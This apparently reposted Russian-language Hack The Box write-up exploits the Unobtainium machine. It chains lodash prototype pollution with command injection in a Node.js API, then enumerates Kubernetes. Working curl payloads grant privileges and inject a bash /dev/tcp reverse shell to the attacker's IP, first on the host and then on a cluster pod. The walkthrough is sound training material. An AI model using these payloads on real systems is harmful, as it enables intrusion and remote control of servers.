Категория > Новости > HTB Unobtainium. Учимся работать с Kubernetes в рамках пентеста - «Новости»
HTB Unobtainium. Учимся работать с Kubernetes в рамках пентеста - «Новости»9-09-2021, 00:02. Автор: Barrington |
Hack The Box. Мы проведем тестирование клиент‑серверного приложения, серверная часть которого написана на Node.js. А затем поработаем с оркестратором Kubernetes и через него захватим флаг рута.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовДобавляем адрес машины 10.10.10.235 в файл Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скриптаРезультат работы скрипта (продолжение)Результат работы скрипта (окончание) По результатам сканирования имеем восемь открытых портов:
Начнем с осмотра сайта. Стартовая страница сайта Здесь нам дают только скачать какое‑то приложение, что мы и делаем. Скачиваем пакет .deb и разворачиваем, чтобы не устанавливать на локальный хост. Затем находим исполняемый файл и запускаем приложение.
mkdir ubo ; cd mkdir
dpkg-deb -xvunobtainium_1.0.0_amd64.deb .
./opt/unobtainium
Распаковка пакета debГлавное окно приложенияИзучив приложение, понимаем, что оно имеет клиент‑серверную архитектуру. Здесь есть форма отправки сообщений и возможность смотреть список дел. Список выглядит вот так:
Список todo Анализ трафикаИтак, мы узнали, что используется технология Node.js, есть авторизация и разделение привилегий (пункт 1). Поскольку приложение — это клиент, можем предположить, что оно стучится на порт 31337, обнаруженный нами при сканировании. Нам нужно проверить это предположение, а поможет нам в этом Wireshark. Открываем его и запускаем наше приложение снова. Трафик приложения в Wireshark Видим, что приложение работает по HTTP и действительно подключается к порту 31337. Адрес серверной части приложения Попробуем вручную использовать функции приложения, чтобы узнать, как именно они работают. Запросим список дел и отправим какое‑нибудь сообщение. Запрос и ответ при обращении к todoЗапрос и ответ при отправке сообщения Мы можем скопировать оба запроса и перенести их в Burp Repeater для дальнейшего тестирования. Также для удобства можно переименовать вкладки.
PUT / HTTP/1.1
Host: unobtainium.htb:31337
Connection: keep-alive
Content-Length: 79
Accept: application/json, text/jаvascript, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: ru
{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":"qwerty"}}
POST /todo HTTP/1.1
Host: unobtainium.htb:31337
Connection: keep-alive
Content-Length: 73
Accept: application/json, text/jаvascript, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: ru
{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}
Запросы в Burp RepeaterВ обоих запросах мест для тестирования два: это параметр Ошибка Точка входаВ тексте ошибки видим несколько раскрытых путей к файлам. Так как используется Node.js, запросим важный файл Стартовая страница сайта Код на скриншот не помещается, поэтому приведу его ниже.
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');
const users =[
{name: 'felamos', password: 'Winter2021'},
{name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];
let messages = [];
let lastId = 1;
function findUser(auth){
return users.find((u) => u.name === auth.name && u.password === auth.password;
}
app.use(bodyParser.json());
app.get('/', (req, res) => { res.send(messages); });
app.put('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
const message = { icon: '__', };
_.merge(message, req.body.message, {
id: lastId++,
timestamp: Date.now(),
userName: user.name,
});
messages.push(message);
res.send({ok: true});
});
app.delete('/', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canDelete) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
messages = messages.filter((m) => m.id !== req.body.messageId);
res.send({ok: true});
});
app.post('/upload', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user || !user.canUpload) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
root.upload("./",filename, true);
res.send({ok: true, Uploaded_File: filename});
});
app.post('/todo', (req, res) => {
const user = findUser(req.body.auth || {});
if (!user) {
res.status(403).send({ok: false, error: 'Access denied'});
return;
}
filename = req.body.filename;
testFolder = "/usr/src/app";
fs.readdirSync(testFolder).forEach(file => {
if (file.indexOf(filename) > -1) {
var buffer = fs.readFileSync(filename).toString();
res.send({ok: true, content: buffer});
}
});
});
app.listen(3000);
console.log('Listening on port 3000...');
В самом начале подключаются некоторые библиотеки. Так как это Node.js, мы можем запросить файл Содержимое файла package.json У нас есть следующие зависимости:
Нам известны технологии, поэтому следует поискать готовые эксплоиты, чтобы понять, какие могут быть уязвимости. Делать это лучше всего при помощи Google. Поиск уязвимостей с помощью GoogleПоиск уязвимостей с помощью Google Так мы находим две уязвимости в модулях google-cloudstorage-commands и lodash. Первая может дать нам OS Command injection, то есть, другими словами, удаленное выполнение команд. У нас уже есть уязвимый блок кода (ниже приведены скрины из PoC и кода PoC эксплоита google-cloudstorage-commandsКод обработчика метода post из файла index.js При передаче параметра Объекты users Этих свойств у нас нет, но можем их получить. В этом поможет критическая уязвимость в библиотеке lodash. Мы можем использовать атрибут Пример уязвимого кода lodashКод обработчика метода put из файла index.js При передаче параметра Точка опорыДавай проэксплуатируем это и активируем у себя свойства
{
"text":{
"constructor":{
"prototype":{
"canDelete":true,
"canUpload":true
}
}
}
}
}
Активация привилегийПолучили ответ, что все выполнено без ошибок. Теперь для проверки выполним команду Выполнение команды и запись результата в файл Осталось прочесть содержимое файла легитимным способом. Чтение файла Как можно увидеть, команда успешно выполнена, а вся наша концепция получила подтверждение. Можно выполнить реверс‑шелл. Справка: реверс-шеллОбратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель». В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
apt install rlwrap
В качестве самого листенера при этом можно использовать широко известный netcat.
rlwrap nc -lvp [port]
Чтобы быстро восстанавливать соединение в случае его потери, я написал маленький скрипт на Bash, содержащий две команды. Это те же команды, что представлены в запросах выше, только без чтения файла.
#!/bin/bash
curl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}'http://unobtainium.htb:31337/
curl -XPOST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/4321 0>&1" | bash"}'http://unobtainium.htb:31337/upload
Флаг пользователя ПродвижениеТеперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Для этого я обычно использую скрипты PEASS. Справка: скрипты PEASS для LinuxЧто делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате. Чтобы воспользоваться скриптом, его надо сначала загрузить на локальный хост.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью Python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
python3 -mhttp.server
А теперь с помощью того же
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod+x linpeas.sh
./linpeas.sh
Из вывода LinPEAS я узнал, что на хосте работает пользовательская задача в cron. Каждую минуту происходит поиск и удаление файла Задачи cron Kubernetes позволяет управлять кластером контейнеров Linux как единой системой. Kubernetes управляет контейнерами Docker, запускает их на большом количестве хостов, а также обеспечивает совместное размещение и репликацию большого количества контейнеров. Что нам нужно понимать при работе с Kubernetes:
Для работы с кубером нам нужен kubectl, а он удаляется раз в минуту. Скачаем его на локальную машину, а затем загрузим на удаленный хост таким же способом, как и LinPEAS. Я загружаю его под именем
Теперь файл удаляться не будет, можем поработать с Kubernetes. Благодаря kubectl нам доступна команда В кластере Kubernetes объекты
kubectl auth can-i list secrets
Проверка секретовК сожалению, мы не можем просмотреть секреты. Следующее, что нужно проверить, — это пространства имен (
kubectl auth can-i list namespaces
Проверка пространств именМы можем получить пространства имен следующей простой командой.
kubectl get namespaces
Получение namespacesПо умолчанию в кластере Kubernetes будет создано пространство имен
kubectl auth can-i list secrets -n dev
kubectl auth can-i list secrets -nkube-system
Проверка секретовС секретами не получилось, посмотрим на поды. Каждый pod состоит из одного или нескольких контейнеров, хранилища, отдельного IP-адреса и опций, которые определяют, как именно контейнеры должны запускаться. Также pod представляет собой некий запущенный процесс в кластере Kubernetes. Но чаще всего в подах используются контейнеры Docker. Посмотрим, можем ли мы получить поды из пространства
kubectl auth can-i list pods -n dev
kubectl get pods -n dev
Получение подов в пространстве devДавай получим описание пода. Так как это целый контейнер, нам интересна возможность распространения по сети, а из описания сможем узнать адрес.
kubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
Описание подаТак, из описания пода devnode-deployment-cd86fb5c-6ms8d мы видим адрес
curl -X PUT -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"message":{"text":{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}}}'http://172.17.0.8:3000/; echo
curl -XPOST -H "Content-Type: application/json" -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo "bash -i >& /dev/tcp/10.10.14.126/5432 0>&1" | bash"}'http://172.17.0.8:3000/upload
Созданный реверс‑шеллПерейти обратно к новости |